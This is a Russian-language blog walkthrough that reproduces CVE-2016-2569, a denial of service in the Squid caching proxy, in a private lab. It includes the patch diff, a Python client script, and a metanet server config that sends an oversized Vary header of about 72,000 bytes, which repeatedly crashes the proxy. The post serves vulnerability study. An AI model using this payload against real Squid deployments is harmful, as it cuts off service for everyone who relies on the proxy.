
Squid 3.x до 3.5.15 и 4.x до 4.0.7 некорректно добавляет данные к объектам String, что позволяет удалённым серверам вызывать отказ в обслуживании (сбой утверждения и завершение демона) с помощью длинной строки, как показано на примере специально сформированного HTTP-заголовка Vary.
Приветствую,
Спасибо, что читаете мою первую запись в блоге. Сегодня мы займёмся созданием эксплойта для одного из инструментов с открытым исходным кодом — кэширующего прокси-сервера Squid.
Squid — это кэширующий прокси для веба, поддерживающий HTTP, HTTPS, FTP и другое. Он снижает расход трафика и улучшает время отклика, кэшируя и повторно используя часто запрашиваемые веб-страницы. Squid обладает обширными средствами контроля доступа и является отличным ускорителем серверов. Он работает в большинстве доступных операционных систем, включая Windows, и лицензирован под GNU GPL. Больше о кэширующем прокси Squid можно узнать на официальном сайте [http://www.squid-cache.org/]
Прежде всего, надеюсь, вы знаете, что такое CVE :p В любом случае, это расшифровывается как Common Vulnerabilities and Exposures (больше информации о CVE можно найти по адресу [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures])
Мы можем увидеть следующую информацию о CVE-2016-2569
Описание: Squid 3.x до 3.5.15 и 4.x до 4.0.7 некорректно добавляет данные к объектам String, что позволяет удалённым серверам вызывать отказ в обслуживании (сбой утверждения и завершение демона) через длинную строку, как показано на примере специально сформированного HTTP-заголовка Vary. Матиас Фишер из Open Systems AG сообщил об этой уязвимости.
Поскольку это проект с открытым исходным кодом, мы можем посмотреть патч, использованный для устранения этой уязвимости. Основываясь на приведённом описании уязвимости, мы можем подтвердить, что это своего рода попытка переполнения. Продолжим копать глубже в исходном коде для дальнейшего исследования.
Патч [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] подтверждает, что изменения были внесены в следующие файлы
Давайте копнём глубже....
Дифф кода для src/String.cc выглядит интересно, так как он содержит утверждение (assert) для переменной aSize
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
Основываясь на приведённом выше диффе кода, мы можем попытаться эксплуатировать уязвимость, передав значение заголовка Vary больше 65536 байт.
Давайте начнём с создания нашей среды для эксплуатации.
Мы развернём кэширующий прокси Squid на Linux (будем использовать Xubuntu 16.04 LTS). Кэширующий прокси Squid кэширует ответы HTTP-сервера metanet и отправляет ответы клиенту из кэша в памяти, вместо того чтобы запрашивать сервер для аналогичного запроса.
Наша сетевая топология будет выглядеть примерно так, как показано ниже (простите за старомодную топологию, но я всё ещё так люблю VIM)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Мы будем отправлять стандартные запросы к нашему HTTP-серверу nginx через прокси Squid и проверять логи, чтобы убедиться, что настройка работает как ожидается.
Чтобы облегчить себе жизнь, мы будем использовать следующий скрипт на Python для отправки запроса на сервер. Здесь важно отметить, что заголовки, используемые в запросе, позволяют прокси-серверу кэшировать ответ. Если значения HTTP-заголовков запроса "If-Modified-Since", "max-age" и "cache-control" некорректны, клиентский запрос заставит прокси-сервер обращаться к серверу за ответами. Это полностью сведёт на нет смысл прокси-сервера.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
Мы видим, что приведённый выше код на Python задаёт заголовки, прокси и использует библиотеку requests для отправки запроса на HTTP-сервер, расположенный по адресу 192.168.56.102. Когда мы получаем ответ от сервера или прокси, мы выводим заголовки. Особенно нас интересует ответ заголовка Vary, отправленный HTTP-сервером или прокси-сервером.
Следующий шаг в нашей настройке — установка metanet (HTTP-сервер). Мы будем использовать metanet, потому что с его помощью легко отправлять различные HTTP-заголовки ответов. В качестве альтернативы можно использовать SimpleHTTPServer, который также позволяет отправлять собственные HTTP-ответы.
Нам нужно подготовить конфигурационный файл metanet таким образом, чтобы он отвечал заголовком Vary вместе с необходимыми заголовками, которые позволяют кэширующему прокси Squid кэшировать аналогичные ответы в памяти.
Наш конфигурационный файл metanet будет выглядеть примерно так
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Давайте попробуем, чтобы убедиться, что наша настройка действительно работает!

Судя по нашей конфигурации, всё выглядит хорошо. w00t w00t!
Давайте приложим усилия для эксплуатации уязвимости (передача длинной строки в буфер вместе с HTTP-заголовком ответа Vary). Это простая эксплуатация переполнения. Из диффа кода мы видим, что есть утверждение (assert), которое определяет, что значение a_size не должно превышать 65536. Мы зададим длину заголовка Vary такой, чтобы она была такой длинной.
В идеале у нас нет 65536 стандартных HTTP-заголовков ответа (это был бы такой беспорядок 😛); но мы можем придумать заголовки. В данном случае важно только то, какова длина строки, переданной в заголовок Vary.
Давайте используем Python для генерации длинной строки, например: python -c 'print "a,b,c,d,e,f," *6000'. Мы будем использовать этот вывод и изменим наш конфигурационный файл metanet, как показано ниже, и протестируем наш эксплойт.
Наш конфигурационный файл metanet будет выглядеть примерно так
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Когда мы отправляем первый запрос к прокси, всё кажется нормальным. Прокси, похоже, не кэширует ответы; возможно, из-за значений, которые мы указали в поле заголовка Vary. Заголовки ответа, указанные в заголовке Vary, используются при вычислении md5-суммы для проверки кэшированного содержимого.
Давайте продолжать отправлять несколько запросов к прокси. Что-то здесь не так: прокси не отвечает на наши запросы, так как мы получаем "Proxy Error" от библиотеки requeests. Давайте в любом случае продолжать отправлять запросы.
Увы. Прокси остановился из-за частых сбоев. Ни одно устройство, подключающееся к серверу через прокси, не сможет получить доступ к чему-либо. Это отказ в обслуживании для всех пользователей прокси.
